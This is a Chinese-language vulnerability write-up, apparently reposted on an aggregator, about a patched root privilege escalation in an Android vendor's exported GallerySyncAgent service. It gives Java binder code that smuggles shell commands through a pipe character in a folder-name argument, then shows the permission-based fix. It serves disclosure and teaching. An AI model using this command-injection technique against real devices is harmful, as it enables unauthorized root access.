关注厂商系统安全,看我如何在某厂商 7.11上获取root权限(已经修复)
0x00 前言
国内手机厂商崛起,虽然用的是谷歌的android系统,但是大部分都会在框架层做很大的改动,他们的安全意识一般不够,因此系统漏洞非常多,一挖一大堆。某厂商在170721的时候发布了7.11的系统,那个时候导出了一个系统组件,系统校验不严格,导致我们可以提升到root权限并且执行任意代码,由于在170802版本的时候就已经修复了,也没什么价值了,所以我就把这个漏洞当例子,抛砖引玉。
0x01 漏洞起因(敏感词已经用xxxx代替)
组件导出
<service android:exported="true" android:name="com.xxxxx.cloud.agent.gallery.GallerySyncAgent"> <intent-filter> <action android:name="com.xxxxx.cloud.xxxxx_SYNC_MODULE"/> <category android:name="android.intent.category.default"/> </intent-filter> </service>
发现是个binder接口,可以通过AIDL远程调用里面的方法
createFolder里面特殊字符校验不严格,可以通过shell管道字符|
绕过
比如,构造mkdir -p /data/local/tmp/mm | cmd
就可以绕过字符串过滤,并且在创建/data/local/tmp/mm的同时执行后面的cmd命令
RUtils.RUtilsCmd执行的是root命令,宿主是一个系统服务,有严格的权限校验。
- 需要系统签名
- 需要权限声明:
<uses-permission android:name="com.xxx.permission.RUTILCMD"/>
0x02 漏洞利用
1、构造Intent bindService 到GallerySyncAgent 这个组件
2、通过shell 的|
字符,绕过命令校验,并且执行任意代码,构造字符串"/data/local/tmp/mm | rm -rf /data/local/tmp/mm | "+cmd
后面的cmd就是任意命令了
boolean v2 = false; Parcel v0 = Parcel.obtain(); Parcel v1 = Parcel.obtain(); try { v0.writeInterfaceToken("com.xxxx.cloud.agent.gallery.ISyncOcloud"); v0.writeString("/data/local/tmp/mm | rm -rf /data/local/tmp/mm | "+cmd); binder.transact(15, v0, v1, 0); v1.readException(); Log.e(TAG, "onServiceConnected: "+v1.readInt()); return v1.readInt() == 1 ?true : false; } catch(Throwable v3) { v1.recycle(); v0.recycle(); throw v3; }
最后可以在uid=0(root) gid=0(root) groups=0(root) context=u:r:rutilsdaemon:s0
这个进程里面执行任意命令
0x03 修复
加上了android:permission="xxxx.permission.xxxx_COMPONENT_SAFE
系统权限校验
<service android:exported="true" android:name="com.xxxx.cloud.agent.gallery.GallerySyncAgent" android:permission="xxxx.permission.xxxx_COMPONENT_SAFE"> <intent-filter> <action android:name="com.xxxx.cloud.xxxx_SYNC_MODULE"/> <category android:name="android.intent.category.default"/> </intent-filter> </service>
0x04 总结
这是一种非常经典的漏洞,在用AIDL设计跨进程通讯的时候,没有严格的校验,而且在过滤特殊字符的时候,没有严格过滤,最终一步步导致权限提升。

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
看我如何绕过android P的Restrictions on non-SDK interfaces(限制反射调用系统私有方法)
0x1:背景 android P出了个新特性,限制了对hidden field 和 method 的 反射调用,那组件化这些是不是都快要挂了。我第一感觉应该是可以绕过的,于是马上研究了下,详情可以看 https://developer.android.com/preview/restrictions-non-sdk-interfaces.html 限制私有api的调用,这意味着目前几乎所有的组件化框架和多开这些都会失效,这些框架都反射调用了大量的私有系统api,android P目前给了大家一个过渡的时间,用了私有api的暂时不会奔溃,只是在logcat都会给出现warning,比如: Accessing hidden field Landroid/os/Message;->flags:I (light greylist, JNI). Accessing hidden method Landroid/app/ActivityThread;->currentActivityThread()Landroid/app/ActivityThread; (dark greylist,...
- 下一篇
Window 编译Openssl
1). 安装NDK 2). openssl-android 3). 修改版本 进入openssl-android目录,修改AndroidManifest.xml, 这里我用的是16,因此修改为16 <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="org.openssl.android" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="16" /> </manifest> default.properties文件修改 target=android-10 4). 修改Application.mk 进入jni文件夹,将内容修改为 NDK_TOOLCHAIN_VERSION=4.9 APP_PROJECT_PATH := $(shell pwd)...
相关文章
文章评论
共有0条评论来说两句吧...